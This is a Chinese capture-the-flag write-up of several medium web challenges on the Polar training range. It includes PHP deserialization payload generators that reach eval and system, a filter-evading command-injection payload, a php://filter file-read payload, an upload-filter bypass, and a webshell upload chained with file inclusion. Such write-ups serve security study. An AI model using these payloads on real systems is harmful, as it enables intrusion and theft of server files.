Polar靶场-Web中等题目记录(9-16)

反序列化

image

理解漏洞点:

  • example类的__destruct方法会调用funnnn方法,而funnnn方法会调用$this->handle->close()。
  • process类的close方法使用eval($this->pid),因此控制pid即可执行任意代码。

构造序列化字符串:

  • 创建一个process对象,设置pid为要执行的PHP代码(如列出目录或读取文件)。
  • 创建一个example对象,设置handle为上述process对象。
  • 序列化example对象。
    发送Payload:

将序列化字符串作为data参数通过GET请求发送给目标脚本。

<?php
class example {
    public $handle;
}
class process {
    public $pid;
}

// 设置要执行的代码,例如列出当前目录
$p = new process();
$p->pid = "print_r(scandir('.'));"; // 可以改为其他命令,如 system('cat /flag');

$e = new example();
$e->handle = $p;

$serialized = serialize($e);
echo "序列化字符串: " . $serialized . "\n";

// URL编码,用于直接发送请求
$url_encoded = urlencode($serialized);
echo "URL编码后: " . $url_encoded . "\n";
?>

image

读取后未发现存在flag相关文件,重新编写payload,查询flag文件所在位置

<?php
class example {
    public $handle;
}
class process {
    public $pid;
}

// 使用find命令搜索flag文件
$p = new process();
$p->pid = "system('find / -name \"*flag*\" 2>/dev/null');";

$e = new example();
$e->handle = $p;

echo "Payload: " . urlencode(serialize($e)) . "\n";
?>

image

获取flag
payload:?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system(%27cat%20/var/www/html/flag.php%27);";}}
image

找找shell

扫描目标靶机,找到shell.php。结合题目提供的shell.txt,猜测解题思路为 通过shell.txt获取shell的连接密码,登录服务器后台获取flag

image

分析解密shell.txt文件
image

参考Z3r4y大佬的代码,获取shell的密码

image
使用蚁剑进行连接,获取flag
image

再来ping一波啊

image

查看题目,发现对常规方式都进行了过滤

在前面添加标点符号尝试绕过

image

执行命令

image

无法执行读取index.php页面

Payload:;a=in;b=dex;ca\t$IFS$9$a$b.php

image

wu

image

通过审计代码发现,a 不能包含任何字母和数字

使用 Y4tacker大佬的取反工具

image

image

获取flag
image

代码审计1

image

这段 PHP 代码是一道典型的 “PHP 原生类利用 + 过滤绕过” 的 CTF 题目,目标是通过 不触发 preg_match 过滤 的前提下,利用 new $sys($xsx) 这一行 实例化任意类 并 触发其 __toString() 方法,从而 把 flag 打印出来。

用 SplFileObject 读文件内容

Payload:?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php

image

解码获取flag

image

你的马呢?

上传测试发现对后缀以及文件内容都进行过滤
image

讲php修改为= 绕过限制进行上传
image

获取flag
image

ezphp

image
查看题目提示,联想到robots.txt
image
发现存在file以及uploads文件夹
访问file文件夹,发现file.php存在可利用的文件包含漏洞
image
upload文件为上传界面,可上传文件并通过images/进行查看
image

解题思路,使用upload界面上传一句话木马,用file文件进行包含连接shell

image
上传一句话木马php文件

image

读取获取shell连接,查看flag

image

image

随机值

image

审计代码,发现关键代码
image

构造payload

<?php
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;
}

$obj = new Index();

// 使用反射设置属性值
$reflection = new ReflectionClass($obj);
$property = $reflection->getProperty('Polar1');
$property->setAccessible(true);
$property->setValue($obj, 0); // 设置Polar1值

$property = $reflection->getProperty('Polar2');
$property->setAccessible(true);
$property->setValue($obj, 0); // 设置Polar2值

$property = $reflection->getProperty('Night');
$property->setAccessible(true);
$property->setValue($obj, 0); // 设置Night值

$property = $reflection->getProperty('Light');
$property->setAccessible(true);
$property->setValue($obj, 0); // 设置Light值

$serialized = serialize($obj);
echo "Serialized: " . $serialized . "\n";
echo "URL encoded: " . urlencode($serialized) . "\n";
?>

image

获取flag

image

posted @ 2025-09-26 12:32  Ktcc5  阅读(10)  评论(0)    收藏  举报